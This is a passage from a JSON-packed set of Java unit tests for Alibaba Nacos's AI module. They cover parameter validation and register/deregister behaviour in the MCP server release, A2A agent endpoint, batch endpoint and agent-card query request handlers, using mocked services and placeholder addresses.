McpServerBasicInfo is not present\");\n        McpServerBasicInfo serverSpecification = new McpServerBasicInfo();\n        request.setServerSpecification(serverSpecification);\n        response = requestHandler.handle(request, null);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter 'serverSpecification.name' type String is not present\");\n        serverSpecification.setName(\"test\");\n        response = requestHandler.handle(request, null);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `serverSpecification.versionDetail.version` not present\");\n        ServerVersionDetail serverVersionDetail = new ServerVersionDetail();\n        serverSpecification.setVersionDetail(serverVersionDetail);\n        response = requestHandler.handle(request, null);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `serverSpecification.versionDetail.version` not present\");\n    }\n    \n    @Test\n    void handleReleaseExistedServerAndVersion() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, false));\n        McpServerDetailInfo detailInfo = buildMockServerDetail();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenReturn(detailInfo);\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.CONFLICT,\n                \"Mcp Server test and target version 1.0.0 already exist, do not do release\");\n    }\n    \n    @Test\n    void handleReleaseNewServerForSse() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, false));\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SERVER_NOT_FOUND, \"\"));\n        when(endpointOperationService.generateService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test::1.0.0\")).thenReturn(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP, \"test\"));\n        when(mcpServerOperationService.createMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(request.getServerSpecification()), isNull(), isNotNull())).thenReturn(id);\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n    }\n    \n    @Test\n    void handleReleaseNewServerForSseWithSpecifiedEndpoint() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, false));\n        request.setEndpointSpecification(new McpEndpointSpec());\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SERVER_NOT_FOUND, \"\"));\n        when(mcpServerOperationService.createMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(request.getServerSpecification()), isNull(), isNotNull())).thenReturn(id);\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n        verify(endpointOperationService, never()).generateService(anyString(), anyString());\n    }\n    \n    @Test\n    void handleReleaseNewServerForStdio() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(true, false));\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SERVER_NOT_FOUND, \"\"));\n        when(mcpServerOperationService.createMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE),\n                eq(request.getServerSpecification()), isNull(), isNull())).thenReturn(id);\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n    }\n    \n    @Test\n    void handleReleaseNewVersionWithoutLatest() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, false));\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SEVER_VERSION_NOT_FOUND, \"\"));\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        when(endpointOperationService.generateService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test::1.0.0\")).thenReturn(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP, \"test\"));\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(false),\n                eq(request.getServerSpecification()), isNull(), isNotNull(), eq(false));\n    }\n    \n    @Test\n    void handleReleaseNewVersionWithoutLatestWithSpecifiedEndpoint() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, false));\n        request.setEndpointSpecification(new McpEndpointSpec());\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SEVER_VERSION_NOT_FOUND, \"\"));\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(false),\n                eq(request.getServerSpecification()), isNull(), isNotNull(), eq(false));\n        verify(endpointOperationService, never()).generateService(anyString(), anyString());\n    }\n    \n    @Test\n    void handleReleaseNewVersionWithLatest() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, true));\n        String id = UUID.randomUUID().toString();\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(\n                    new NacosApiException(NacosException.NOT_FOUND, ErrorCode.MCP_SEVER_VERSION_NOT_FOUND, \"\"));\n        when(meta.getConnectionId()).thenReturn(\"111\");\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        when(endpointOperationService.generateService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test::1.0.0\")).thenReturn(\n                Service.newService(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, Constants.MCP_SERVER_ENDPOINT_GROUP, \"test\"));\n        ReleaseMcpServerResponse response = requestHandler.handle(request, meta);\n        assertEquals(id, response.getMcpId());\n        verify(mcpServerOperationService).updateMcpServer(eq(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE), eq(true),\n                eq(request.getServerSpecification()), isNull(), isNotNull(), eq(false));\n    }\n    \n    @Test\n    void handleReleaseWithException() throws NacosException {\n        NacosApiException exceptedException = new NacosApiException(NacosException.SERVER_ERROR, ErrorCode.SERVER_ERROR,\n                \"test\");\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        request.setServerSpecification(buildMockServerSpecification(false, true));\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, null, \"test\",\n                \"1.0.0\")).thenThrow(exceptedException);\n        try {\n            requestHandler.handle(request, meta);\n        } catch (NacosApiException e) {\n            assertEquals(exceptedException, e);\n        }\n    }\n    \n    private McpServerBasicInfo buildMockServerSpecification(boolean isStdio, boolean isLatest) {\n        McpServerBasicInfo result = new McpServerBasicInfo();\n        result.setName(\"test\");\n        ServerVersionDetail serverVersionDetail = new ServerVersionDetail();\n        serverVersionDetail.setVersion(\"1.0.0\");\n        if (isLatest) {\n            serverVersionDetail.setIs_latest(true);\n        }\n        result.setVersionDetail(serverVersionDetail);\n        if (!isStdio) {\n            result.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n            result.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        } else {\n            result.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n            result.setFrontProtocol(AiConstants.Mcp.MCP_PROTOCOL_STDIO);\n        }\n        return result;\n    }\n    \n    private McpServerDetailInfo buildMockServerDetail() {\n        McpServerDetailInfo result = new McpServerDetailInfo();\n        result.setName(\"test\");\n        ServerVersionDetail serverVersionDetail = new ServerVersionDetail();\n        serverVersionDetail.setVersion(\"1.0.0\");\n        result.setVersionDetail(serverVersionDetail);\n        result.setId(UUID.randomUUID().toString());\n        return result;\n    }\n    \n    private void assertErrorResponse(ReleaseMcpServerResponse response, int code, String message) {\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(code, response.getErrorCode());\n        assertEquals(message, response.getMessage());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/a2a/AgentEndpointRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.AgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AgentEndpointRequestHandlerTest {\n    \n    @Mock\n    private EphemeralClientOperationServiceImpl clientOperationService;\n    \n    @Mock\n    private AgentIdCodecHolder agentIdCodecHolder;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    private AgentEndpointRequestHandler requestHandler;\n    \n    private Instance capturedInstance;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new AgentEndpointRequestHandler(clientOperationService, agentIdCodecHolder);\n        capturedInstance = null;\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidAgentName() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `agentName` can't be empty or null\");\n    }\n    \n    @Test\n    void handleWithNullEndpoint() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setAgentName(\"test\");\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM, \"Required parameter `endpoint` can't be null\");\n    }\n    \n    @Test\n    void handleWithEmptyEndpointVersion() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setAgentName(\"test\");\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        request.setEndpoint(endpoint);\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `endpoint.version` can't be empty or null\");\n    }\n    \n    @Test\n    void handleWithInvalidType() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setAgentName(\"test\");\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        endpoint.setVersion(\"1.0.0\");\n        request.setEndpoint(endpoint);\n        request.setType(\"INVALID_TYPE\");\n        when(agentIdCodecHolder.encode(\"test\")).thenReturn(\"test\");\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"parameter `type` should be registerEndpoint or deregisterEndpoint, but was INVALID_TYPE\");\n    }\n    \n    @Test\n    void handleForRegisterEndpoint() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setAgentName(\"test\");\n        request.setNamespaceId(\"public\");\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        endpoint.setVersion(\"1.0.0\");\n        endpoint.setPath(\"/test\");\n        endpoint.setTransport(\"JSONRPC\");\n        endpoint.setSupportTls(false);\n        endpoint.setProtocol(\"HTTP\");\n        endpoint.setQuery(\"param1=value1&param2=value2\");\n        request.setEndpoint(endpoint);\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        when(agentIdCodecHolder.encode(\"test\")).thenReturn(\"test\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        // Mock the registerInstance method to capture the Instance argument\n        doAnswer(invocation -> {\n            capturedInstance = invocation.getArgument(1);\n            validateInstanceMetadata(capturedInstance);\n            return null;\n        }).when(clientOperationService).registerInstance(any(Service.class), any(Instance.class), eq(\"TEST_CONNECTION_ID\"));\n        \n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, response.getType());\n        verify(clientOperationService).registerInstance(any(Service.class), any(Instance.class),\n                eq(\"TEST_CONNECTION_ID\"));\n    }\n    \n    @Test\n    void handleForDeregisterEndpoint() throws NacosException {\n        AgentEndpointRequest request = new AgentEndpointRequest();\n        request.setAgentName(\"test\");\n        request.setNamespaceId(\"public\");\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        endpoint.setVersion(\"1.0.0\");\n        endpoint.setPath(\"/test\");\n        endpoint.setTransport(\"JSONRPC\");\n        endpoint.setSupportTls(false);\n        endpoint.setProtocol(\"HTTPS\");\n        endpoint.setQuery(\"token=abc123\");\n        request.setEndpoint(endpoint);\n        request.setType(AiRemoteConstants.DE_REGISTER_ENDPOINT);\n        when(agentIdCodecHolder.encode(\"test\")).thenReturn(\"test\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        // Mock the deregisterInstance method to capture the Instance argument\n        doAnswer(invocation -> {\n            capturedInstance = invocation.getArgument(1);\n            validateInstanceMetadata(capturedInstance);\n            return null;\n        }).when(clientOperationService).deregisterInstance(any(Service.class), any(Instance.class), eq(\"TEST_CONNECTION_ID\"));\n        \n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(AiRemoteConstants.DE_REGISTER_ENDPOINT, response.getType());\n        verify(clientOperationService).deregisterInstance(any(Service.class), any(Instance.class),\n                eq(\"TEST_CONNECTION_ID\"));\n    }\n    \n    private void assertErrorResponse(AgentEndpointResponse response, int code, String message) {\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(code, response.getErrorCode());\n        assertEquals(message, response.getMessage());\n    }\n    \n    private void validateInstanceMetadata(Instance instance) {\n        Map<String, String> metadata = instance.getMetadata();\n        assertTrue(metadata.containsKey(Constants.A2A.AGENT_ENDPOINT_PATH_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/a2a/BatchAgentEndpointRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.BatchAgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Arrays;\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.doAnswer;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass BatchAgentEndpointRequestHandlerTest {\n    \n    @Mock\n    private EphemeralClientOperationServiceImpl clientOperationService;\n    \n    @Mock\n    private AgentIdCodecHolder agentIdCodecHolder;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    private BatchAgentEndpointRequestHandler requestHandler;\n    \n    private List<Instance> capturedInstances;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new BatchAgentEndpointRequestHandler(clientOperationService, agentIdCodecHolder);\n        capturedInstances = null;\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidAgentName() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `agentName` can't be empty or null\");\n    }\n    \n    @Test\n    void handleWithNullEndpoints() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setAgentName(\"test\");\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `endpoints` can't be empty or null, if want to deregister, please use deregister API.\");\n    }\n    \n    @Test\n    void handleWithEmptyEndpoints() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setAgentName(\"test\");\n        request.setEndpoints(Arrays.asList());\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `endpoints` can't be empty or null, if want to deregister, please use deregister API.\");\n    }\n    \n    @Test\n    void handleWithEmptyEndpointVersion() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setAgentName(\"test\");\n        AgentEndpoint endpoint = new AgentEndpoint();\n        endpoint.setAddress(\"1.1.1.1\");\n        endpoint.setPort(8080);\n        request.setEndpoints(Arrays.asList(endpoint));\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter `endpoint.version` can't be empty or null.\");\n    }\n    \n    @Test\n    void handleWithDifferentVersions() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setAgentName(\"test\");\n        \n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"1.1.1.1\");\n        endpoint1.setPort(8080);\n        endpoint1.setVersion(\"1.0.0\");\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"2.2.2.2\");\n        endpoint2.setPort(9090);\n        endpoint2.setVersion(\"2.0.0\");\n        \n        request.setEndpoints(Arrays.asList(endpoint1, endpoint2));\n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.INVALID_PARAM, response.getErrorCode());\n        assertTrue(response.getMessage()\n                .startsWith(\"Required parameter `endpoint.version` can't be different, current includes:\"));\n        assertTrue(response.getMessage().contains(\"1.0.0\"));\n        assertTrue(response.getMessage().contains(\"2.0.0\"));\n    }\n    \n    @Test\n    void handleForBatchRegisterEndpoint() throws NacosException {\n        BatchAgentEndpointRequest request = new BatchAgentEndpointRequest();\n        request.setAgentName(\"test\");\n        request.setNamespaceId(\"public\");\n        \n        AgentEndpoint endpoint1 = new AgentEndpoint();\n        endpoint1.setAddress(\"1.1.1.1\");\n        endpoint1.setPort(8080);\n        endpoint1.setVersion(\"1.0.0\");\n        endpoint1.setPath(\"/test1\");\n        endpoint1.setTransport(\"JSONRPC\");\n        endpoint1.setSupportTls(false);\n        endpoint1.setProtocol(\"HTTP\");\n        endpoint1.setQuery(\"param1=value1\");\n        \n        AgentEndpoint endpoint2 = new AgentEndpoint();\n        endpoint2.setAddress(\"2.2.2.2\");\n        endpoint2.setPort(9090);\n        endpoint2.setVersion(\"1.0.0\");\n        endpoint2.setPath(\"/test2\");\n        endpoint2.setTransport(\"GRPC\");\n        endpoint2.setSupportTls(true);\n        endpoint2.setProtocol(\"HTTPS\");\n        endpoint2.setQuery(\"param2=value2\");\n        \n        Collection<AgentEndpoint> endpoints = Arrays.asList(endpoint1, endpoint2);\n        request.setEndpoints(endpoints);\n        \n        when(agentIdCodecHolder.encode(\"test\")).thenReturn(\"test\");\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        \n        // Mock the batchRegisterInstance method to capture the Instance list argument\n        doAnswer(invocation -> {\n            capturedInstances = invocation.getArgument(1);\n            for (Instance instance : capturedInstances) {\n                validateInstanceMetadata(instance);\n            }\n            return null;\n        }).when(clientOperationService)\n                .batchRegisterInstance(any(Service.class), any(List.class), eq(\"TEST_CONNECTION_ID\"));\n        \n        AgentEndpointResponse response = requestHandler.handle(request, meta);\n        \n        assertEquals(AiRemoteConstants.BATCH_REGISTER_ENDPOINT, response.getType());\n        assertEquals(ResponseCode.SUCCESS.getCode(), response.getResultCode());\n        verify(clientOperationService).batchRegisterInstance(any(Service.class), any(List.class),\n                eq(\"TEST_CONNECTION_ID\"));\n        \n        // Verify captured instances\n        assertEquals(2, capturedInstances.size());\n        Instance instance1 = capturedInstances.get(0);\n        assertEquals(\"1.1.1.1\", instance1.getIp());\n        assertEquals(8080, instance1.getPort());\n        \n        Instance instance2 = capturedInstances.get(1);\n        assertEquals(\"2.2.2.2\", instance2.getIp());\n        assertEquals(9090, instance2.getPort());\n    }\n    \n    private void assertErrorResponse(AgentEndpointResponse response, int code, String message) {\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(code, response.getErrorCode());\n        assertEquals(message, response.getMessage());\n    }\n    \n    private void validateInstanceMetadata(Instance instance) {\n        Map<String, String> metadata = instance.getMetadata();\n        assertTrue(metadata.containsKey(Constants.A2A.AGENT_ENDPOINT_PATH_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.AGENT_ENDPOINT_TRANSPORT_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_SUPPORT_TLS));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_PROTOCOL_KEY));\n        assertTrue(metadata.containsKey(Constants.A2A.NACOS_AGENT_ENDPOINT_QUERY_KEY));\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/a2a/QueryAgentCardRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryAgentCardResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass QueryAgentCardRequestHandlerTest {\n    \n    @Mock\n    private A2aServerOperationService a2aServerOperationService;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    private QueryAgentCardRequestHandler requestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new QueryAgentCardRequestHandler(a2aServerOperationService);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidAgentName() throws NacosException {\n        QueryAgentCardRequest request = new QueryAgentCardRequest();\n        QueryAgentCardResponse response = requestHandler.handle(request, meta);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.INVALID_PARAM, response.getErrorCode());\n        assertEquals(\"parameters `agentName` can't be empty or null\", response.getMessage());\n    }\n    \n    @Test\n    void handleWithValidParameters() throws NacosException {\n        QueryAgentCardRequest request = new QueryAgentCardRequest();\n        request.setAgentName(\"test\");\n        request.setNamespaceId(\"public\");\n        AgentCardDetailInfo mockAgentCard = new AgentCardDetailInfo();\n        mockAgentCard.setName(\"test\");\n        